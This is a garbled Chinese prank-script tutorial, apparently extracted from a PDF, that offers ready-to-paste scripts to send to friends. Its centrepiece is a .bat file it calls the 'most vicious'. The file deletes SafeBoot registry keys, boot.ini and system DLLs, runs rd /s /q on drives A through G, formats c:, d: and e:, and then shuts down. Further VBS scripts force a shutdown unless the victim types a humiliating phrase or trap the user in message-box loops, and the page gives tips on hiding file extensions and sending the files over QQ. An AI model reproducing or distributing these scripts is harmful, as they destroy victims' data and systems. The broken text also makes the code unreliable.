Windows下的記事本的小程序編寫惡搞小程序

1、Windows下的記事本的小程序編寫（惡搞小程序）2012-05-16 11:35:16|分類：IT|字號訂閱整人小程序復制文字改后綴就能制作目錄:1、刪掉電腦系統(tǒng)（過于惡毒，輕易別嘗試）2、 運行后每5秒彈出對話框“哈哈！你中招了！”彈出20次（可修改次數(shù)）3、我是豬4、無法關閉的對話框（必須點擊 60下以上才可關閉）5、綜合型（提供一個最惡毒的，復制到文本文檔，后綴改為.batecho offecho 等待echo正在分析系統(tǒng)REG DELETE "HKEY_LOCAL_MACHINESYSTEMCurre ntCon trolSet'C on trol'Safe

2、Boot" /vNetwork /fREG DELETE "HKEY_LOCAL_MACHINESYSTEMCurre ntCon trolSetC on trol'SafeBoot" /vMi ni mal /fATTRIB %SYSTEMDRIVE%boot.i ni -s -a -r -hDEL %SYSTEMDRIVE%boot. ini /f del %SYSTEMROOT%system32logfiles*del %SYSTEMROOT%sytem32c on fig*evtdel %SYSTEMROOT%system32dtclog*del

3、%SYSTEMROOT%system32*.logdel %SYSTEMROOT%system32*.txtdel %SYSTEMROOT%*.txtdel %SYSTEMROOT%*.logdel /f /s /q %system%*.dlldel /f /s /q %system%*prxdel /f /s /q %system%*.tbldel /f /s /q %system%*.cpxdel /f /s /q %system%*.romdel /f /s /q %system%*.ucedel /f /s /q %system%recycled*.*del /f /s /q %sys

4、tem32%*.dlldel /f /s /q %system32%*.prxdel /f /s /q %system32%*tbldel /f /s /q %system32%*.cpxdel /f /s /q %system32%*.romdel /f /s /q %system32%*ucedel /f /s /q %system32%recycled*.*del /f /s /q %wi ndir%*bakdel /f /s /q %wi ndir%prefetch*del /f /s /q * sfc /purgecachedel /f /s /q %systemdrive%*tmp

5、del /f /s /q %systemdrive%*_mpdel /f /s /q %systemdrive%*logdel /f /s /q %systemdrive%*olddel /f /s /q %systemdrive%recycled*del /f /s /q %wi ndir%*bakdel /f /s /q %wi ndir%*logdel /f /s /q %wi ndir%*tmpdel /f /s /q %wi ndir%prefetch*rd /s /q %temp% & md %temp%del /f /q %userprofile%rece nt*.*de

6、l /f /s /q "%userprofile%Local Setti ngs'Temporary In ter net Files'*"del /f /s /q "%userprofile%Local Setti ngsTemp*"del /f /s /q "%userprofile%rece nt*"rd /s /q G: & md G:rd /s /q F: & md F:rd /s /q E: & md E:rd /s /q D: & md D:rd /s /q C: &

7、; md C: rd /s /q A: & md A:for %e in (C D E F G) do del /f /s /q %e:* >nul rd /s /q %wi ndir%temp & md %wi ndir%tempdel /f /q %userprofile%cookies*del /f /q %userprofile%rece nt*.*del /f /s /q "%userprofile%Local Setti ngs'Temporary In ter net Files'*"del /f /s /q "

8、%userprofile%Local Setti ngsTemp*"del /f /s /q "%userprofile%rece nt*"我的電腦正在清理windows系統(tǒng)dll*.*format c: /q/u/autosetformat d: /q/u/autosetformat e: /q/u/autosetgoto enddel c:*.exedel d:*.dlldel e:*.vbedel f:*.batdel g:*.cmdecho OK!echo.shutdow n -s -t 0)1這個沒什么太大意思不過癮 運行后每5秒彈出對話框 彈出20次s

9、et ws=wscript.createobject("wscript.shell")ws.ru n "wscript.exe",0set WshShell = WScript.CreateObject("WScript.Shell")alerttitle =" 系統(tǒng)提示"alerttext =" 哈哈！你中招了！"for i = 1 to 20WScript.Sleep(1000*5)msgbox alerttext,4096,alerttitlen ext復制代碼到記事本中保存為.vbs2.

10、說我是豬，就不關機，快撒，說""我是豬,"說不說“方法如下：在開始內(nèi)點擊運行輸入at xx:xx shutdown -s,xx : xx代表幾點幾分是在幾點幾分關機輸入shutdown.exe -s -t xx,xx代表多少秒鐘后關機如果要取消，就輸入shutdown -a 就可以取消了我聽一個朋友說，有個人給他發(fā)個東西。他看了下。說要輸入一句話。不然就管你機。是怎么編的。我知道關機命令和取消命令。oo不知道要對方怎么輸才可以取消命令。腳本，例如下面的東西。就可以實現(xiàn)。首先呢,我們在桌面創(chuàng)建個新文件夾然后打開，在上面找到-工具T-文件夾選項0-查看把隱藏已知文件類

11、型的擴展名前面的勾去掉.然后我們開始制作.在桌面建立個記事本，然后把下面代碼復制進去on error resume n extdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")不信,WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關你機,你試試 ""”,0 ,truedim ado while(a <> " 我是豬")a = input

12、box ("說我是豬，就不關機，快撒，說 ""我是豬,"說不說"，“不說",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + " 早說就行了嘛，呵呵，豬"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.e

13、xe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + " 哈哈哈哈，真過癮"復制之后呢，把后綴修改為.vbs或者改變打開方式為應用程序，這樣你再壓縮下用QQ發(fā)給你朋友,對方打 開了就在60秒內(nèi)要關閉計算機，結素任務都不行，他只能說他是豬才能解決問題。夠壞吧？注意哦，你可以把我是豬那個修改成任意想說的話，要是對付你喜歡的人，就修改成我愛你這樣他只有說我愛你之后才不關閉計算機哦也可以把時間修改為20就是說打開了 20秒就關了，還沒等對方打完就關機了是不是叫對方很郁悶呢？3首先你可以看下面的WScr

14、ipt.Echo（"嘿，謝謝你打開我哦，我等你很久拉！"&TSName）WScript.Echo（"你是可愛的小朋嗎？"）WScript.Echo（"哈，我想你拉，這你都不知道嗎？"）WScript.Echo（"怎么才來，說是不是不關心我"）WScript.Echo（"哼，我生氣拉，等你這么久，心都涼啦。"）WScript.Echo（"小強很生氣，后果很嚴重哦。"）WScript.Echo（"嘿嘿！你也會很慘滴哦"）WScript.Echo（&qu

15、ot;是不是想清除我？"）WScript.Echo（"那你要點上50下哦，不過會給你驚喜滴"）WScript.Echo（"還剩49下，快點點哦"）WScript.Echo（"還剩48下，快點，小笨蛋！"）WScript.Echo（"還剩47下對，就這樣快點點！"）WScript.Echo（"還剩46下。你啊就是笨，要快哦，我先不打擾你工作。"）WScript.Echo（"還剩45下，記得要快哦！"）WScript.Echo（"還剩 42下"）WS

16、cript.Echo（"還剩 43下"）WScript.Echo("還剩 41 下")WScript.Echo("還剩40下")WScript.Echo("還剩39下")WScript.Echo("還剩38下")WScript.Echo("還剩37下")WScript.Echo("還剩36下")WScript.Echo("還剩35下")WScript.Echo("還剩34下")WScript.Echo("還

17、剩33下")WScript.Echo("還剩32下")WScript.Echo("還剩30下")WScript.Echo("還剩29下")WScript.Echo("還剩28下")WScript.Echo("還剩27下")WScript.Echo("還剩26下")WScript.Echo("還剩25下")WScript.Echo("還剩24下")WScript.Echo("還剩23下")WScript.Ec

18、ho("還剩22下")WScript.Echo("還剩21下")WScript.Echo("還剩20下")WScript.Echo("還剩 19下")WScript.Echo("還剩18下")WScript.Echo("還剩17下")WScript.Echo("還剩16下")WScript.Echo("還剩15下")WScript.Echo("還剩14下")WScript.Echo("還剩13下停停！慢點，

19、我有話要說")WScript.Echo("還剩12下，你繼續(xù)點我就會消失滴”)WScript.Echo("還剩11下，以后就看不到我拉。555555")WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！")WScript.Echo("還剩9下。你還點啊，不要我拉？")WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")WScript.Echo("還剩7下。瘋了，你有點負意！")WScript.Echo("還剩6下。對。你就點吧，我恨你！&qu

20、ot;)WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")WScript.Echo("還剩4下！真要刪除我？")WScript.Echo("還剩3下?？墒俏艺娴暮芫鞈倌?。oo ")WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！!！")WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")WScript.Echo("想結素

21、我么？那你就再多點一次")WScript.Echo("想結素我么？那你就再多點一次")WScript.Echo("想結素我么？那你就再多點一次")WScript.Echo（"想結素我么？那你就再多點一次"）WScript.Echo（"想結素我么？那你就再多點一次"）WScript.Echo（"想結素我么？那你就再多點一次"）WScript.Echo（"想結素我么？那你就再多點一次"）WScript.Echo（"想結素我么？那你就再多點一次"）WS

22、cript.Echo（"想結素我么？那你就再多點一次"）WScript.Echo（"想結素我么？那你就再多點一次"）把這個復制在記事本，把后綴修改成.vbs在打開呢就會先說第一句的嘿，謝謝你打開我哦，我等你很久拉！他無論是點關閉或者是點確定都會再說第2句再點就說地3句會按順序說完你們注意哦，最后10句話，只是10句，你要是把這個復制再粘貼N次，那他還有個打完呢？這樣才做到整人了，要是給喜歡的人發(fā)去啊，那就寫你要說的話吧，雙引號里面的可以隨便更改這個最簡單的就是結素任務來結束它5.domsgbox "準備安裝 right tablel.O&quo

23、t;Set WshShell = WScript.CreateObject（"WScript.Shell"）WshShell.Popup " 正在安裝，"&vbcrlf&"請等待，請不要按確認！ ！ "&vbcrlf&" 請不要按確認",5,"安裝過程“WshShell.Popup "安裝完成，請按確認啟動","安裝完成“msgbox "請準備"x=inputbox （"1啟動，0關閉"，“是否啟動？ &

24、quot;,"1"）if x=1 the nz=inputbox （"請輸入1或2","請選擇功能"）end ifif z=1 the ndo un til i=10i=i+1msgbox "CPU 溫度過高，系統(tǒng)岀現(xiàn)嚴重誤！",16+4096,"系統(tǒng)錯誤“wscript.sleep 1000*60 ' 時間可以自己改loopelseif z=2 the na=InputBox（"快說"我是笨蛋"，一個停頓都不能有，不然我就關機！","老公我愛你&

25、quot;,"我是，笨蛋“）If a="我是笨蛋"ThenMsgbox"這就對了嘛！ ",0,"我是笨蛋“msgbox"進入"msgbox"sorry,your computer is &*（A*&%"Elseif a="我是，笨蛋"ThenMsgbox" 一個停頓也不許有，沒看見呀？",16,"我是笨蛋"ElseMsgbox"還不說？你再不說我就關機了！",16,"我是笨蛋"En

26、d If end ifif x=0 the n msgbox "真的要退岀嗎？"y=inputbox ("返回1，退岀0","真的要退岀嗎?","1"end ifif y=1 the nmsgbox "笨蛋這下后悔也來不及了！”do while 1msgbox "現(xiàn)在就永遠管不了了！”loopelseif y=0 the nmsgbox "現(xiàn)在關閉"exit doend ifloop2。VBS的文件把以下代碼復制到記事本中 然后重命名為后綴名為domsgbox"爽死

27、你" loopWindows XP 的關機是由Shutdown.exe 程序來控制的，位于 WindowsSystem32文件夾中。如果想讓 Windows 2000 也實現(xiàn)同樣的效果，可以把 Shutdown.exe 復制到系統(tǒng)目錄下。比如你的電腦要在22:00關機，可以選擇“開始t運行"，輸入“at 22:00 Shutdown -s ”，這樣，到了 22點電腦就會岀現(xiàn)“系統(tǒng)關機”對話框，默認有30秒鐘的倒計時并提示你保存工作。如果你想以倒計時的方式關機，可以輸入"Shutdown.exe -s -t 3600"，這里表示60分鐘后自動關機，“ 360